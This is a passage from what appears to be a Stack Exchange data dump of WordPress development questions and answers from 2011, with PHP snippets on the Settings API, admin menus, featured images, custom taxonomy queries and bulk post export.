'boj_myplugin_add_page');&#xA;function boj_myplugin_add_page() {&#xA;add_options_page( 'My Plugin', 'My Plugin', 'manage_options', 'boj_myplugin', 'boj_myplugin_option_page' );&#xA;}&#xA;&#xA;// Draw the option page&#xA;function boj_myplugin_option_page() {&#xA;?&amp;gt;&#xA;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;    &amp;lt;?php screen_icon(); ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;My plugin&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;form action=&quot;options.php&quot; method=&quot;post&quot;&amp;gt;&#xA;        &amp;lt;?php settings_fields('boj_myplugin_options'); ?&amp;gt;&#xA;        &amp;lt;?php do_settings_sections('boj_myplugin'); ?&amp;gt;&#xA;        &amp;lt;input name=&quot;Submit&quot; type=&quot;submit&quot; value=&quot;Save Changes&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&#xA;// Register and define the settings&#xA;add_action('admin_init', 'boj_myplugin_admin_init');&#xA;function boj_myplugin_admin_init(){&#xA;register_setting(&#xA;    'boj_myplugin_options',&#xA;    'boj_myplugin_options',&#xA;    'boj_myplugin_validate_options'&#xA;);&#xA;add_settings_section(&#xA;    'boj_myplugin_main',&#xA;    'My Plugin Settings',&#xA;    'boj_myplugin_section_text',&#xA;    'boj_myplugin'&#xA;);&#xA;add_settings_field(&#xA;    'boj_myplugin_text_string',&#xA;    'Enter text here',&#xA;    'boj_myplugin_setting_input',&#xA;    'boj_myplugin',&#xA;    'boj_myplugin_main'&#xA;);&#xA;}&#xA;&#xA;// Draw the section header&#xA;function boj_myplugin_section_text() {&#xA;echo '&amp;lt;p&amp;gt;Enter your settings here.&amp;lt;/p&amp;gt;';&#xA;}&#xA;&#xA;// Display and fill the form field&#xA;function boj_myplugin_setting_input() {&#xA;// get option 'text_string' value from the database&#xA;$options = get_option( 'boj_myplugin_options' );&#xA;$text_string = $options['text_string'];&#xA;// echo the field&#xA;echo &quot;&amp;lt;input id='text_string' name='boj_myplugin_options[text_string]' type='text' value='$text_string' /&amp;gt;&quot;;&#xA;}&#xA;&#xA;// Validate user input (we want text only)&#xA;function boj_myplugin_validate_options( $input ) {&#xA;$valid['text_string'] = preg_replace( '/[^a-zA-Z]/', '', $input['text_string'] );&#xA;&#xA;if( $valid['text_string'] != $input['text_string'] ) {&#xA;    add_settings_error(&#xA;        'boj_myplugin_text_string',&#xA;        'boj_myplugin_texterror',&#xA;        'Incorrect value entered!',&#xA;        'error'&#xA;    );      &#xA;}&#xA;&#xA;return $valid;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-07-22T13:02:54.837" ClosedDate="2011-07-22T13:11:29.143" Title="How should I be using the Settings API with custom admin menus? With reference to the Professional WordPress Plugin Development book" Tags="&lt;plugin-development&gt;&lt;custom-menus&gt;&lt;settings-api&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" />
  <row Id="23766" PostTypeId="2" ParentId="23599" CreationDate="2011-07-22T12:59:51.097" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried it with the permalink base in the url? It defaults to &quot;category&quot;.&#xA;&lt;a href=&quot;http://mysite.com/category/projects&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/category/projects&lt;/a&gt;&#xA;The WP codex is quoted below.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;'with_front' - allowing permalinks to be prepended with front base -&#xA;  defaults to true&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would need to set 'with_front' to false for &lt;a href=&quot;http://mysite.com/projects&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/projects&lt;/a&gt; to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when you have only 'projects' in your url it is hard for WP to know if it is a post, page, custom post type, taxonomy, etc. &lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-07-22T12:59:51.097" CommentCount="3" />
  <row Id="23767" PostTypeId="2" ParentId="23765" CreationDate="2011-07-22T13:02:54.837" Score="0" ViewCount="" Body="&lt;p&gt;according to you comment you just need to change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_options_page( 'My Plugin', 'My Plugin', 'manage_options', 'boj_myplugin', 'boj_myplugin_option_page' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_menu_page( 'My Plugin', 'My Plugin', 'manage_options', 'boj_myplugin', 'boj_myplugin_option_page' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it has nothing to do with the settings API its more about &lt;a href=&quot;http://codex.wordpress.org/Administration_Menus&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Administration Menus&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-22T13:02:54.837" CommentCount="8" />
  <row Id="23768" PostTypeId="2" ParentId="23757" CreationDate="2011-07-22T13:09:30.157" Score="4" ViewCount="" Body="&lt;p&gt;You may find the answer in this tutorial : &lt;a href=&quot;http://www.wpbeginner.com/wp-themes/how-to-set-a-default-fallback-image-for-wordpress-post-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;How to Set a Default Fallback Image for WordPress Post Thumbnails&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this in &lt;code&gt;functions.php&lt;/code&gt; in your theme folder :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support( 'post-thumbnails' );&#xA;&#xA;function myprefix_main_image() {&#xA;    $attachments = get_children( 'post_parent='.$post-&amp;gt;ID.'&amp;amp;post_type=attachment&amp;amp;post_mime_type=image&amp;amp;order=desc' );&#xA;    if( $attachments ) {&#xA;        $keys = array_reverse( $attachments );&#xA;        set_post_thumbnail( $post-&amp;gt;ID, $keys[0]-&amp;gt;ID );&#xA;    }; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this in your template, where you want to show the post image :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( (function_exists( 'has_post_thumbnail') ) &amp;amp;&amp;amp; ( has_post_thumbnail() ) ) {&#xA;  echo get_the_post_thumbnail( $post-&amp;gt;ID );&#xA;} else {&#xA;   myprefix_main_image();&#xA;   echo get_the_post_thumbnail( $post-&amp;gt;ID );&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; : much better, thanks Chip Bennett&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-22T14:21:05.363" LastActivityDate="2011-07-22T14:21:05.363" CommentCount="4" />
  <row Id="23769" PostTypeId="1" AcceptedAnswerId="23777" CreationDate="2011-07-22T13:12:34.070" Score="0" ViewCount="63" Body="&lt;p&gt;I have custom post type &lt;code&gt;product&lt;/code&gt; like wp ecommerce. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 30k posts in it. Also have relate custom taxonomy.&#xA;Basically am trying to export those posts in csv, but query_posts with so many records is giving me trouble...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips???&lt;/p&gt;&#xA;" OwnerUserId="6961" LastEditorUserId="1381" LastEditorDisplayName="" LastEditDate="2011-07-22T13:20:15.673" LastActivityDate="2011-07-22T14:36:27.570" Title="Not able to export large no. of posts in csv" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;query-posts&gt;&lt;export&gt;" AnswerCount="3" />
  <row Id="23770" PostTypeId="2" ParentId="23769" CreationDate="2011-07-22T13:18:56.300" Score="0" ViewCount="" Body="&lt;p&gt;You could make a query by month or year to reduce the number of posts. Then you would have a couple of smaller .csv that you can merge together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you can try to export in .csv directly from the &lt;em&gt;DB&lt;/em&gt; in &lt;em&gt;phpMyAdmin&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-22T13:18:56.300" CommentCount="3" />
  <row Id="23771" PostTypeId="2" ParentId="23757" CreationDate="2011-07-22T13:19:18.863" Score="1" ViewCount="" Body="&lt;p&gt;I use the &lt;a href=&quot;http://wordpress.org/extend/plugins/auto-post-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;Auto Post Thumbnail&lt;/a&gt; plugin for doing just that on &lt;a href=&quot;http://phonesnaps.gothick.org.uk/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt; and it works fine. First image in a post becomes the featured image every time.&lt;/p&gt;&#xA;" OwnerUserId="833" LastActivityDate="2011-07-22T13:19:18.863" />
  <row Id="23772" PostTypeId="2" ParentId="23757" CreationDate="2011-07-22T13:24:54.080" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/get-the-image/&quot; rel=&quot;nofollow&quot;&gt;Get The Image&lt;/a&gt; is great plugin for related functionality. You will need to configure funciton call a bit, but it will be able both to scan for image and &lt;del&gt;save it into thumbnail for you&lt;/del&gt;. Was writing quickly and messed up a bit. What it can do is save found image into custom field (which might or might not be what you want). If you want to actually make featured image out of it - that is going to be considerably more complex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-22T16:10:28.010" LastActivityDate="2011-07-22T16:10:28.010" CommentCount="1" />
  <row Id="23773" PostTypeId="2" ParentId="23692" CreationDate="2011-07-22T13:28:27.450" Score="0" ViewCount="" Body="&lt;p&gt;From &lt;a href=&quot;http://serverfault.com/questions/107894/migration-to-media-temple-dv-from-gs-777-permissions-issue&quot;&gt;ServerFault&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) Connect to your server as the root user and open up /etc/group in a text editor. (2) Find the line that appears similar to: psacln:x:2523: (3) Add the following groups (do not change the groupID number): psacln:x:2523:apache,psaftp,psaadm (4) Grant group write access to any folders (5) Restart the apache service.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-07-22T13:28:27.450" CommentCount="1" />
  <row Id="23774" PostTypeId="1" AcceptedAnswerId="23779" CreationDate="2011-07-22T13:31:49.503" Score="1" ViewCount="44" Body="&lt;p&gt;In wp-signup.php there are these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_head', 'wpmu_signup_stylesheet' );&#xA;get_header();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to remove &lt;code&gt;wpmu_signup_stylesheet&lt;/code&gt; from the &lt;code&gt;wp_head&lt;/code&gt; action, but I seem to be struggling, I assume it is because the action is being called straight after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I've tried from a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Called from an action that is added with:&#xA;// add_action('wp_head', array($this, 'remove_signup_style', 11));&#xA;remove_action( 'wp_head', 'wpmu_signup_stylesheet');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3669" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-24T16:39:48.763" LastActivityDate="2011-07-24T16:39:48.763" Title="Is it possible to remove this action? (as it's added just before it's called)" Tags="&lt;plugins&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="2" />
  <row Id="23775" PostTypeId="2" ParentId="23763" CreationDate="2011-07-22T13:32:58.460" Score="0" ViewCount="" Body="&lt;p&gt;Are you caching your site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, the function &lt;code&gt;cleaner_gallery_plugin_gallery_image&lt;/code&gt; in &lt;em&gt;cleaner-gallery.php&lt;/em&gt; (v0.9.2) works with the variable &lt;code&gt;$image&lt;/code&gt;. This is the image HTML as a string. Some regex magic should then be able to achieve what you want.&lt;/p&gt;&#xA;" OwnerUserId="2637" LastActivityDate="2011-07-22T13:32:58.460" />
  <row Id="23776" PostTypeId="2" ParentId="23774" CreationDate="2011-07-22T13:36:43.077" Score="-1" ViewCount="" Body="&lt;p&gt;Try adding a priority:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_action( 'wp_head', 'wpmu_signup_stylesheet', 11 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s. is the &lt;code&gt;add_action()&lt;/code&gt; call really placed before &lt;code&gt;get_header()&lt;/code&gt;, or is it placed before &lt;code&gt;wp_head()&lt;/code&gt;? I'm not sure it really matters, so long as &lt;code&gt;wp_head()&lt;/code&gt; is included in &lt;code&gt;header.php&lt;/code&gt;; but that's just an unusual place to add an &lt;code&gt;add_action()&lt;/code&gt; call.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-22T13:36:43.077" CommentCount="3" />
  <row Id="23777" PostTypeId="2" ParentId="23769" CreationDate="2011-07-22T13:38:42.530" Score="1" ViewCount="" Body="&lt;p&gt;WordPress query mechanism drag whole set of results into memory so they are not suited for such large chunks of information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;code&gt;numberposts&lt;/code&gt; and &lt;code&gt;offset&lt;/code&gt; in &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_posts()&lt;/code&gt;&lt;/a&gt; to split process into chunks. I am not sure if you will be able to do it in single run even then, so you might need to save how many chunks you processed and start from there next time.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-22T13:38:42.530" CommentCount="2" />
  <row Id="23778" PostTypeId="2" ParentId="23747" CreationDate="2011-07-22T13:41:15.290" Score="-1" ViewCount="" Body="&lt;p&gt;Adding a shortcode for your form is also an option: &lt;a href=&quot;http://codex.wordpress.org/Shortcode_API&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Shortcode_API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2637" LastActivityDate="2011-07-22T13:41:15.290" CommentCount="1" />
  <row Id="23779" PostTypeId="2" ParentId="23774" CreationDate="2011-07-22T13:42:34.477" Score="3" ViewCount="" Body="&lt;p&gt;The action is not right after actually. There is &lt;code&gt;get_header()&lt;/code&gt; call, then &lt;code&gt;get_header&lt;/code&gt; action and then locating and loading template file that has &lt;code&gt;wp_head()&lt;/code&gt; in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try not to mess with removing things from inside of same hook you are at, so in this case I'd (ab)use that &lt;code&gt;get_header&lt;/code&gt; action to hook function that will remove what you don't want from later &lt;code&gt;wp_head&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-22T13:42:34.477" CommentCount="1" />
  <row Id="23781" PostTypeId="2" ParentId="22539" CreationDate="2011-07-22T13:50:47.997" Score="1" ViewCount="" Body="&lt;p&gt;Why not use a purely CSS-based solution, using the &lt;code&gt;:after&lt;/code&gt; pseudo-element? e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#nav li li a:after {&#xA;    content: '|';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-22T13:50:47.997" CommentCount="1" />
  <row Id="23782" PostTypeId="2" ParentId="23679" CreationDate="2011-07-22T14:02:48.390" Score="2" ViewCount="" Body="&lt;p&gt;How did you create the link with your category '39'? Is it a custom taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the test i just did and it works fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;functions.php&lt;/code&gt; i created the custom post type '&lt;strong&gt;recipe&lt;/strong&gt;':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'create_recipe' );&#xA;function create_recipe() {&#xA;    register_post_type( 'recipe',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Recipes' ),&#xA;                'singular_name' =&amp;gt; __( 'Recipe' )&#xA;                ),&#xA;            'public' =&amp;gt; true,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'publicly_queryable' =&amp;gt; true,&#xA;            'exclude_from_search' =&amp;gt; false,&#xA;            'menu_position' =&amp;gt; 4,&#xA;            'query_var' =&amp;gt; true,&#xA;            'supports' =&amp;gt; array( 'title', 'editor')&#xA;&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then i created a custom taxonomy element to get some categories related to this custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'register_cate_livro', 0 );&#xA;function register_cate_livro() {&#xA;    register_taxonomy(&#xA;        'cate-recipe',&#xA;        array( 'recipe' ),&#xA;        array(&#xA;            'public' =&amp;gt; true,&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Categorias' ),&#xA;                'singular_name' =&amp;gt; __( 'Categoria' )&#xA;            ),&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; 'cate-livro'&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I nammed it '&lt;strong&gt;cate-recipe&lt;/strong&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote 3 news posts under '&lt;strong&gt;recipe&lt;/strong&gt;' in the admin and created 2 custom categories '&lt;strong&gt;cate-1&lt;/strong&gt;' and '&lt;strong&gt;cate-2&lt;/strong&gt;'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then using your code, i loaded the posts from the custom post type. It works fine but doesnt take in account the custom taxonomy parameter. So here's how i made it in the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;subcats-list&quot;&amp;gt;&#xA;    &amp;lt;h2 class=&quot;subcats-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_category_link(12); ?&amp;gt;&quot; title=&quot;No Cook&quot;&amp;gt;&amp;lt;?php echo get_cat_name(39); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;?php&#xA;        $recipes = new WP_Query();&#xA;        $args = array(&#xA;            'showposts'     =&amp;gt;  5,  &#xA;            'orderby'       =&amp;gt;  'rand',&#xA;            'post_type'     =&amp;gt;  'recipe',&#xA;            'tax_query'     =&amp;gt; array(&#xA;                array(&#xA;                    'taxonomy' =&amp;gt; 'cate-recipe',&#xA;                    'field' =&amp;gt; 'slug',&#xA;                    'terms' =&amp;gt; 'cate-1'&#xA;                )&#xA;            )&#xA;        );&#xA;        $recipes-&amp;gt;query($args);&#xA;&#xA;        while ($recipes-&amp;gt;have_posts()) : $recipes-&amp;gt;the_post(); ?&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;/ul&amp;gt;&amp;lt;!-- subcat --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the '&lt;code&gt;tax_query&lt;/code&gt;' parameter to query the posts from my custom taxonomy '&lt;strong&gt;cate-recipe&lt;/strong&gt;' with the term '&lt;strong&gt;cate-1&lt;/strong&gt;', that i created in the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it loads just the posts that have this &quot;special category&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps, let me know if it suits your needs.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-07-22T14:02:48.390" />
  <row Id="23784" PostTypeId="2" ParentId="23763" CreationDate="2011-07-22T14:11:40.360" Score="0" ViewCount="" Body="&lt;p&gt;In cleaner-gallery.php make changes to the cleaner_gallery_plugin_gallery_image function that starts on line 122 and ends on line 151.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we are doing is replacing href with data-href in the two instances that output the html with the image attributes.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cleaner_gallery_plugin_gallery_image( $image, $id, $attr, $instance ) {&#xA;&#xA;    /* If the image should link to nothing, remove the image link. */&#xA;    if ( 'none' == $attr['link'] ) {&#xA;        $image = preg_replace( '/&amp;lt;a.*?&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/', '$1', $image );&#xA;    }&#xA;&#xA;    /* If the image should link to the 'file' (full-size image), add in extra link attributes. */&#xA;    elseif ( 'file' == $attr['link'] ) {&#xA;        $attributes = cleaner_gallery_link_attributes( $instance );&#xA;&#xA;        if ( !empty( $attributes ) )&#xA;            $image = str_replace( '&amp;lt;a href=', &quot;&amp;lt;a{$attributes} data-href=&quot;, $image );&#xA;    }&#xA;&#xA;    /* If the image should link to an intermediate-sized image, change the link attributes. */&#xA;    elseif ( in_array( $attr['link'], get_intermediate_image_sizes() ) ) {&#xA;&#xA;        $post = get_post( $id );&#xA;        $image_src = wp_get_attachment_image_src( $id, $attr['link'] );&#xA;&#xA;        $attributes = cleaner_gallery_link_attributes( $instance );&#xA;        $attributes .= &quot; data-href='{$image_src[0]}'&quot;;&#xA;        $attributes .= &quot; title='&quot; . esc_attr( $post-&amp;gt;post_title ) . &quot;'&quot;;&#xA;&#xA;        $image = preg_replace( '/&amp;lt;a.*?&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/', &quot;&amp;lt;a{$attributes}&amp;gt;$1&amp;lt;/a&amp;gt;&quot;, $image );&#xA;    }&#xA;&#xA;    /* Return the formatted image. */&#xA;    return $image;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-22T14:11:40.360" CommentCount="1" />
  <row Id="23785" PostTypeId="2" ParentId="23740" CreationDate="2011-07-22T14:21:57.750" Score="0" ViewCount="" Body="&lt;p&gt;Fancybox has built in fallback, it displays images without JavaScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see why you would want to remove the header ( or footer) since it usually contains some good info like your doctype, css, meta, title, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it to look different ( aka strip it clean) you should still include it and use conditionals for your &quot;Portfolio&quot; page.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-22T14:21:57.750" CommentCount="2" />
  <row Id="23786" PostTypeId="2" ParentId="23738" CreationDate="2011-07-22T14:27:48.013" Score="1" ViewCount="" Body="&lt;p&gt;This has nothing to do with the JS error. On the home page, you're missing a closing div tag for &lt;code&gt;#content&lt;/code&gt; and that is throwing the sidebar down below. You have other code errors, too: &lt;a href=&quot;http://validator.w3.org/check?uri=http%3A//www.superlogical.net/&amp;amp;doctype=Inline&amp;amp;ss=1&amp;amp;group=0&amp;amp;user-agent=W3C_Validator/1.654&quot; rel=&quot;nofollow&quot;&gt;[Invalid] Markup Validation of   superlogical.net  - W3C Markup Validator&lt;/a&gt;. Scroll down in the validation report to see line numbers and source code.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-22T14:27:48.013" CommentCount="3" />
  <row Id="23787" PostTypeId="2" ParentId="23769" CreationDate="2011-07-22T14:36:27.570" Score="1" ViewCount="" Body="&lt;p&gt;I recently had to do an export for a blog with 34K posts and 75K comments.  I was able to get it to work by modifying the &lt;a href=&quot;http://wordpress.org/extend/plugins/advanced-export-for-wp-wpmu/&quot; rel=&quot;nofollow&quot;&gt;WordPress Advanced Export plugin&lt;/a&gt; and increasing max_execution_time in php.ini from 30 seconds to around 5 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin grabs a snapshot of all the post ids in the db then runs the batches in 20 post increments and loops back through until its done.  I changed the increments to 40 which sped it up and allowed it to complete in a reasonable amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of how the query is run:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The $where clause below is defined by a long list of if else conditionals based on the plugin options.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_ids = $wpdb-&amp;gt;get_col(&quot;SELECT ID FROM $wpdb-&amp;gt;posts $where ORDER BY post_date_gmt ASC&quot;);&#xA;&#xA;$pass = 0;&#xA;$passes = 1000 + count($categories);&#xA;while ( ( $cat = array_shift($categories) ) &amp;amp;&amp;amp; ++$pass &amp;lt; $passes ) {&#xA;    if ( $cat-&amp;gt;parent == 0 || isset($cats[$cat-&amp;gt;parent]) ) {&#xA;        $cats[$cat-&amp;gt;term_id] = $cat;&#xA;    } else {&#xA;        $categories[] = $cat;&#xA;    }&#xA;}&#xA;unset($categories);&#xA;&#xA;&#xA;&amp;lt;?php if ($post_ids) {&#xA;        global $wp_query;&#xA;        $wp_query-&amp;gt;in_the_loop = true;  // Fake being in the loop.&#xA;        // fetch 20 posts at a time rather than loading the entire table into memory&#xA;        while ( $next_posts = array_splice($post_ids, 0, 20) ) {&#xA;            $where = &quot;WHERE ID IN (&quot;.join(',', $next_posts).&quot;)&quot;;&#xA;            $posts = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM $wpdb-&amp;gt;posts $where ORDER BY post_date_gmt ASC&quot;);&#xA;                foreach ($posts as $post) {&#xA;                    setup_postdata($post); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-22T14:36:27.570" CommentCount="2" />
  <row Id="23788" PostTypeId="1" CreationDate="2011-07-22T14:44:21.390" Score="2" ViewCount="33" Body="&lt;p&gt;Is there any plugin to protect a download via recaptcha?&lt;/p&gt;&#xA;" OwnerUserId="7250" LastActivityDate="2011-07-22T14:44:21.390" Title="Is there a plugin to protect downloads with recaptcha?" Tags="&lt;plugins&gt;&lt;captcha&gt;" FavoriteCount="2" />
  <row Id="23789" PostTypeId="1" CreationDate="2011-07-22T15:23:45.217" Score="0" ViewCount="79" Body="&lt;p&gt;I'm trying to search only post titles on wp 3.2.1.&#xA;I tried the solution in following &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11822/how-to-limit-search-to-post-titles&quot;&gt;link&lt;/a&gt;. I copied the code to functions.php in the theme but still when I searched for a word that's only in the post content, it's returning that as a result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can use 'Search Unleashed' plugin for this feature. But I have both public and private posts in my blog. With SU plugin it's returning only public posts even when a user is logged in.&#xA;So I'm trying to find a solution outside that plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :-)&lt;/p&gt;&#xA;" OwnerUserId="7252" LastEditorUserId="152" LastEditorDisplayName="" LastEditDate="2011-08-04T00:29:06.030" LastActivityDate="2011-08-04T16:56:27.173" Title="How to search only post titles?" Tags="&lt;search&gt;&lt;3.2&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="23790" PostTypeId="2" ParentId="6442" CreationDate="2011-07-22T15:37:29.493" Score="1" ViewCount="" Body="&lt;p&gt;timthumb now supports image filters... inluding (drumroll) a grayscale filter.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.binarymoon.co.uk/2010/08/timthumb-image-filters/&quot; rel=&quot;nofollow&quot;&gt;http://www.binarymoon.co.uk/2010/08/timthumb-image-filters/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;totally server-side and timthumb has seen a lot of speed improvements with its caching... so the images are not re-created every time.   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;url-to-tim-thumb.php?src=url-to-image.png&amp;amp;w=200&amp;amp;h=200&amp;amp;f=2&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you could spit out the image again w/o the filter... so that you have 1 color and 1 gray scale.... absolutely position the one on top of the other and use jquery to animate opacity on hover.  i don't like the double markup, but doing everything on the fly (i tried using pixastic) on multiple images just dragged my load time way down.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;img-wrap&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;url-to-tim-thumb.php?src=url-to-image.png&amp;amp;w=200&amp;amp;h=200&amp;amp;f=2&quot; class=&quot;grayscale&quot;/&amp;gt;&#xA;&amp;lt;img src=&quot;url-to-tim-thumb.php?src=url-to-image.png&amp;amp;w=200&amp;amp;h=200&quot; class=&quot;color&quot;/&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i found i had to use timthumb on both to ensure they'd be exactly the same size... and prevent any random pixel rounding errors.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the loop you can get the featured image's info w/ some of the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$image_id = get_post_thumbnail_id();&#xA;$image = wp_get_attachment_image_src($image_id,’large’, true);  &#xA;$alttext = get_post_meta( $image_id, '_wp_attachment_image_alt', true); 